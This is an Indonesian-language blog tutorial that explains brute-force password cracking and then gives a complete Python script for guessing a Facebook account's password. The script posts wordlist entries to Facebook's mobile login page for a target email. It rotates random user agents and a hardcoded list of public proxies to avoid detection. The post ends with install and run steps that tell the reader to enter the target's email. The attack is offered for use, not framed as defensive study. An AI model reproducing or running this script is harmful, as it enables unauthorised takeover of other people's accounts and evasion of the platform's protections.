Hallo sobat, kali ini saya akan berbagi ilmu tentang Cara membuat script brutrforce facebook sendiri,Sebelum meniju ke tutorial lebih baiknya kita mengetahui pengertian bruteforce
Brute Force Attack adalah metode untuk meretas password (password cracking) dengan cara mencoba semua kemungkinan kombinasi yang ada pada “wordlist“. Metode ini dijamin akan berhasil menemukan password yang ingin diretas. Namun, proses untuk meretas password dengan menggunakan metode ini akan memakan banyak waktu. Lamanya waktu akan ditentukan oleh panjang dan kombinasi karakter password yang akan diretas.
Brute Force Attack menggunakan formula sebagai berikut:KS = L(m) + L(m+1) + L(m+2) + … + L(M)Keterangan:L = Jumlah karakter yang kita ingin definisikanM = Panjang maksimum kata kuncim = Panjang minimum kata kunci
Contoh jika kita ingin meretas password dengan panjang password 5 karakter dan hanya menggunakan kombinasi huruf kecil (‘a’ – ‘z’ = 26), maka Brute Force Cracker harus mencoba KS = 261 + 262 + 263 + … + 265 = 12356721 kata yang berbeda.Istilah Brute Force sendiri di populerkan oleh Kenneth Thomson, dengan mottonya “When in doubt, use brute-force” (jika rugu, gunakan brute-force).Brute Force dapat digunakan untuk meretas password secara offline maupun online, namun kombinasi karakter password yang panjang terkadang membuat seorang attacker putus asa lalu menghentikan serangannya sehingga membuat metode ini menjadi sia-sia.Nah itulah pengertian tentang Brute Force ,Selanjutnya kita menuju ketutorial pembuatan brute force.
python module yang akan di gunakan pada tutorial kali ini adalah
- Requests
- Bs4
paste spcrit dibawah di quick editor maupun aplikasi sejenis nya
#!/bin/usr/python
import requests
from bs4 import BeautifulSoup
import time
import os
import random
sleep = time.sleep
user_agent_list = [
#Chrome
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
'Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
#Firefox
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)',
'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
]
proxies_list = [
'http://10.10.1.10:3128',
'http://77.232.139.200:8080',
'http://78.111.125.146:8080',
'http://77.239.133.146:3128',
'http://74.116.59.8:53281',
'http://67.53.121.67:8080',
'http://67.78.143.182:8080',
'http://62.64.111.42:53281',
'http://62.210.251.74:3128',
'http://62.210.105.103:3128',
'http://5.189.133.231:80',
'http://46.101.78.9:8080',
'http://45.55.86.49:8080',
'http://40.87.66.157:80',
'http://45.55.27.246:8080',
'http://45.55.27.246:80',
'http://41.164.32.58:8080',
'http://45.125.119.62:8080',
'http://37.187.116.199:80',
'http://43.250.80.226:80',
'http://43.241.130.242:8080',
'http://38.64.129.242:8080',
'http://41.203.183.50:8080',
'http://36.85.90.8:8080',
'http://36.75.128.3:80',
'http://36.81.255.73:8080',
'http://36.72.127.182:8080',
'http://36.67.230.209:8080',
'http://35.198.198.12:8080',
'http://35.196.159.241:8080',
'http://35.196.159.241:80',
'http://27.122.224.183:80',
'http://223.206.114.195:8080',
'http://221.120.214.174:8080',
'http://223.205.121.223:8080',
'http://222.124.30.138:80',
'http://222.165.205.204:8080',
'http://217.61.15.26:80',
'http://217.29.28.183:8080',
'http://217.121.243.43:8080',
'http://213.47.184.186:8080',
'http://207.148.17.223:8080',
'http://210.213.226.3:8080',
'http://202.70.80.233:8080',
]
URL = 'https://m.facebook.com/login'
sleep(2)
print ('Example : kadal15@yahoo.co.id')
email = input('Masukkan Email Anda : ')
sleep(1)
sandi = input('Masukkan Password.txt : ')
passw = open(sandi, 'r')
print ('Try To Crack')
def br():
for password in passw:
form_data = {'email' : email,
'pass' : password
}
user_agent = random.choice(user_agent_list)
headers = {'User-Agent': user_agent}
proxies_a = random.choice(proxies_list)
proxies = {'http': proxies_a}
with requests.Session() as c:
c.get(URL, headers=headers, proxies=proxies)
r = c.post(URL, data=form_data, headers=headers, proxies=proxies)
b = c.get('https://m.facebook.com/home.php', headers=headers, proxies=proxies)
soup = BeautifulSoup(b.content, 'html.parser')
a = soup.find('title')
if(str(a) == '<title>Masuk Facebook | Facebook</title>'):
print ('Mencoba', password,end="", flush=True)
print ('\r', end="", flush=True)
else:
print ('Mencoba', password, end="", flush=True)
sleep(1)
print ('Login Succes\n')
print ('Password Adalah ' + password)
exit()
print ('Passowrd.txt Habis Silahkan Coba Lagi')
br()
Silahkan save dengan format namafile.py
Sebelum agan menjalankan script ini agan harus install dulu module requests dan bs4
cara nya ketik saja di termux atau terminal lainnya
pip install requests
pip install bs4
Kalian juga harus punya password.txt nya dulu, kalian bisa mendownload nya Disinisetelah semuanya lengkap jalankan perintah dengan cript ini
python namafile.py
Masukkan email target dan masukkan trmpat naruh password.txt
selamat anda sudah bisa membuat script bruteforce facebook milik anda sendiri.Terima Kasih sudah berkunjung jangan lupa baca artikel lainnya tentang termux.
0 komentar:
Post a Comment